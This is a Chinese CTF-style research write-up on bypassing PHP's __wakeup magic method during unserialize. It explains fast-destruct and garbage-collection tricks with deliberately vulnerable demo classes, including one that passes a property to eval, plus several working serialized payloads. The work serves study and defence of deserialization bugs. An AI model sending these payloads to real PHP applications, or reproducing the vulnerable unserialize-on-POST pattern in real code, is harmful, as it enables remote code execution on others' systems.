php反序列化之绕过wakeup
一般来说,绕过wakup无非:
- cve-2016-7124:对象的属性数量大于真实值
- 引用
- fast-destruct
- 使用C绕过
上面的方法网上已经有很多师傅写文章介绍过了
但本文探讨一下除了上面以外的利用方式:
前言&背景
为什么会重新想起这点是因为最近的ctf比赛开始出现一些wakeup的绕过。从2022强网杯线上的反序列化开始就有了,当时采取了cve-2016-7124的方法:对象的属性数量大于真实值
,但是在本地进行研究的时候发现似乎并不是像平常描述的那样只有特定版本才会出现漏洞
PHP5:<5.6.25
PHP7:<7.0.10
随后Oatmeal学长和jacko学长在高谈阔论的时候也提及并深入了这个点,随后他们有突破性的发现,给php提了个issue
鄙人也在这个issue的提示下进行了深挖,也找到了不少可能是很有研究意义的payload。特此总结:
aaaabbb__wakeup
属性键的长度不匹配
demo.php
<?php
class A
{
public $info;
private $end = "1";
public function __destruct()
{
$this->info->func();
}
}
class B
{
public $end;
public function __wakeup()
{
$this->end = "exit();";
echo '__wakeup';
}
public function __call($method, $args)
{
eval('echo "aaaa";' . $this->end . 'echo "bbb"');
}
}
unserialize($_POST['data']);
版本
- 7.4.x -7.4.30
- 8.0.x
在以下情况下也会触发此事件。
- 删除)。
- 类属性的数量不一致。
- 属性键的长度不匹配。
- 属性值的长度不匹配。
- 删除;
payload (这里是本来end前有两个不可见字符,这里直接写为A,效果是先destruct后wakeup,成功绕过wakeup)
[POST]data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}
复现成功
这个是Oatmeal学长在php上面的issue,已经是公认的php较新版本的bug了,估计未来版本也不会马上修复
魔改demo,把private改下
public $end = "1";
发现也是
aaaabbb__wakeup
这说明了:
属性键的长度不匹配 时,可以先destruct后wakup
我们演绎推理一下,由于属性键的长度不匹配,那我们把后面s:1:"1";
改为s:2:"1";
呢
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:2:"1";}
验证成功
删除;
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:2:"1"
效果是
aaaabbb__wakeup
但这里挖了个坑,后面讲
删除}
限制:
php各个版本,有destruct且需要提前destruct
这个本质是fast-destruct
payload
data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:2:"1";
效果也是
aaaabbb__wakeup
fast-destruct,参考PHP的GC垃圾收集机制 - 简书 (jianshu.com)
比如这道题phar反序列化+强制GC (chowdera.com),它的文章中提及
fast-destruct实现方式有一下几种
-
删除最后的大括号
-
数组对象占用指针(改数字)
$a = new a();
$arry = array($a,"1234");
$result = serialize($arry);echo $result."<br>";
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234";} 这是正常的
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:0;s:4:"1234";} payload
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:3:"123";}i:1;s:4:"1234"; payload
类似的
//data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1";} 这是正常的
//data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1"; payload
由于按照上面fast-destruct,这里还涉及数组对象占用指针(改数字)
,这里没有数组结构,所以直接搬过来是不可能的
我们得去看GC回收的算法
在PHP5.3版本中,使用了专门GC机制清理垃圾,在之前的版本中是没有专门的GC,那么垃圾产生的时候,没有办法清理,内存就白白浪费掉了。在PHP5.3源代码中多了以下文件:{PHPSRC}/Zend/zend_gc.h {PHPSRC}/Zend/zend_gc.c, 这里就是新的GC的实现,我们先简单的介绍一下算法思路,然后再从源码的角度详细介绍引擎中如何实现这个算法的。
新的GC算法
在较新的PHP手册中有简单的介绍新的GC使用的垃圾清理算法,这个算法名为 Concurrent Cycle Collection in Reference Counted Systems , 这里不详细介绍此算法,根据手册中的内容来先简单的介绍一下思路:
首先我们有几个基本的准则:
1:如果一个zval的refcount增加,那么此zval还在使用,不属于垃圾
2:如果一个zval的refcount减少到0, 那么zval可以被释放掉,不属于垃圾
3:如果一个zval的refcount减少之后大于0,那么此zval还不能被释放,此zval可能成为一个垃圾
只有在准则3下,GC才会把zval收集起来,然后通过新的算法来判断此zval是否为垃圾。那么如何判断这么一个变量是否为真正的垃圾呢?
简单的说,就是对此zval中的每个元素进行一次refcount减1操作,操作完成之后,如果zval的refcount=0,那么这个zval就是一个垃圾。这个原理咋看起来很简单,但是又不是那么容易理解,起初笔者也无法理解其含义,直到挖掘了源代码之后才算是了解。如果你现在不理解没有关系,后面会详细介绍,这里先把这算法的几个步骤描叙一下,首先引用手册中的一张图:
A:为了避免每次变量的refcount减少的时候都调用GC的算法进行垃圾判断,此算法会先把所有前面准则3情况下的zval节点放入一个节点(root)缓冲区(root buffer),并且将这些zval节点标记成紫色,同时算法必须确保每一个zval节点在缓冲区中之出现一次。当缓冲区被节点塞满的时候,GC才开始开始对缓冲区中的zval节点进行垃圾判断。
B:当缓冲区满了之后,算法以深度优先对每一个节点所包含的zval进行减1操作,为了确保不会对同一个zval的refcount重复执行减1操作,一旦zval的refcount减1之后会将zval标记成灰色。需要强调的是,这个步骤中,起初节点zval本身不做减1操作,但是如果节点zval中包含的zval又指向了节点zval(环形引用),那么这个时候需要对节点zval进行减1操作。
C:算法再次以深度优先判断每一个节点包含的zval的值,如果zval的refcount等于0,那么将其标记成白色(代表垃圾),如果zval的refcount大于0,那么将对此zval以及其包含的zval进行refcount加1操作,这个是对非垃圾的还原操作,同时将这些zval的颜色变成黑色(zval的默认颜色属性)
D:遍历zval节点,将C中标记成白色的节点zval释放掉。
这ABCD四个过程是手册中对这个算法的介绍,这还不是那么容易理解其中的原理,这个算法到底是个什么意思呢?我自己的理解是这样的:
比如还是前面那个变成垃圾的数组$a对应的zval,命名为zval_a, 如果没有执行unset, zval_a的refcount为2,分别由$a和$a中的索引1指向这个zval。
用算法对这个数组中的所有元素(索引0和索引1)的zval的refcount进行减1操作,由于索引1对应的就是zval_a,所以这个时候zval_a的refcount应该变成了1,这样zval_a就不是一个垃圾。
如果执行了unset操作,zval_a的refcount就是1,由zval_a中的索引1指向zval_a,用算法对数组中的所有元素(索引0和索引1)的zval的refcount进行减1操作,这样zval_a的refcount就会变成0,于是就发现zval_a是一个垃圾了。 算法就这样发现了顽固的垃圾数据。
举了这个例子,读者大概应该能够知道其中的端倪:
对于一个包含环形引用的数组,对数组中包含的每个元素的zval进行减1操作,之后如果发现数组自身的zval的refcount变成了0,那么可以判断这个数组是一个垃圾。
这个道理其实很简单,假设数组a的refcount等于m, a中有n个元素又指向a,如果m等于n,那么算法的结果是m减n,m-n=0,那么a就是垃圾,如果m>n,那么算法的结果m-n>0,所以a就不是垃圾了
m=n代表什么? 代表a的refcount都来自数组a自身包含的zval元素,代表a之外没有任何变量指向它,代表用户代码空间中无法再访问到a所对应的zval,代表a是泄漏的内存,因此GC将a这个垃圾回收了。
很复杂,但有个利用方式就是 a=null是直接将a 指向的数据结构置空,同时将其引用计数归0。
data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:2:"1";}
所以类似于这样写,他会产生垃圾,然后被GC回收,引发fast-destruct
属性值的长度不匹配
data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"12";}
很可能也只是GC回收的衍生
类属性的数量不一致
这个描述近乎于cve-2016-7124
O:1:"A":3:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1";}
效果也是
aaaabbb__wakeup
这个的确是GC回收的衍生,就是数据结果指针发生了异常
深入思考
fast-destruct的本质是序列化的字符串格式不对导致反序列失败反而成为垃圾数据然后触发强行GC
所以其实很多payload都只是它的衍生
但问题是,它到底有多少衍生,哪些payload又会有怎样的不同效果呢?
aaaabbb
内部类属性的数量不一致
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1";} //正常
O:1:"A":2:{s:4:"info";O:1:"B":2:{s:3:"end";N;}s:3:"end";s:1:"1";} //payload
这个时候只有aaaabbb,不会触发wakeup
同样是类属性的数量不一致,可是效果是不同的
如果我们修改外面的类的属性
O:1:"A":3:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1";}
输出的是
aaaabbb__wakeup
因为后面的payload反序列化出来的a类直接就是垃圾,提前destruct,而b类是正常的,所以仍然wakeup
但是前者b类是不正常的,所以直接destruct,而a类正常
删除内部类的;
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:3:"end";s:1:"1";} //正常
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N}s:3:"end";s:2:"1";}
不过使用这个的前提是分号前面这个数据不可以是payload,否则将导致payload无法识别而被抛弃,如果它是一些无关紧要的数据,那就可以
总结
本质都是GC回收机制在存在destruct的前提下绕过wakeup衍生
但是如果想要不执行wakup,就必须在有wakup魔术方法的那个类的结构进行破坏,可以采用删除分号或者属性数量不一致的方法
有些情形的确是必须不能执行wakup的,比如下面
demo.php
<?php
$flag = 0;
class A
{
public $end;
public function __wakeup()
{
echo "wakeup";
global $flag;
$flag = 0;
die();
}
public function __construct($method, $args)
{
echo "call";
global $flag;
$flag = 1;
}
public function __destruct(){
echo "destruct";
}
}
unserialize($_POST['data']);
if($flag == 0){
exit("hacker!");
}else{
include "ser.php";
echo $flag;
}
就只有aaaabbb这种情形可以绕过
展望:
也就是说,在存在destruct且恶意方法在destruct情形下的链子,wakup是完全无效的,它不但可以被绕过,甚至可以不被执行
或许在挖链的时候大有脾益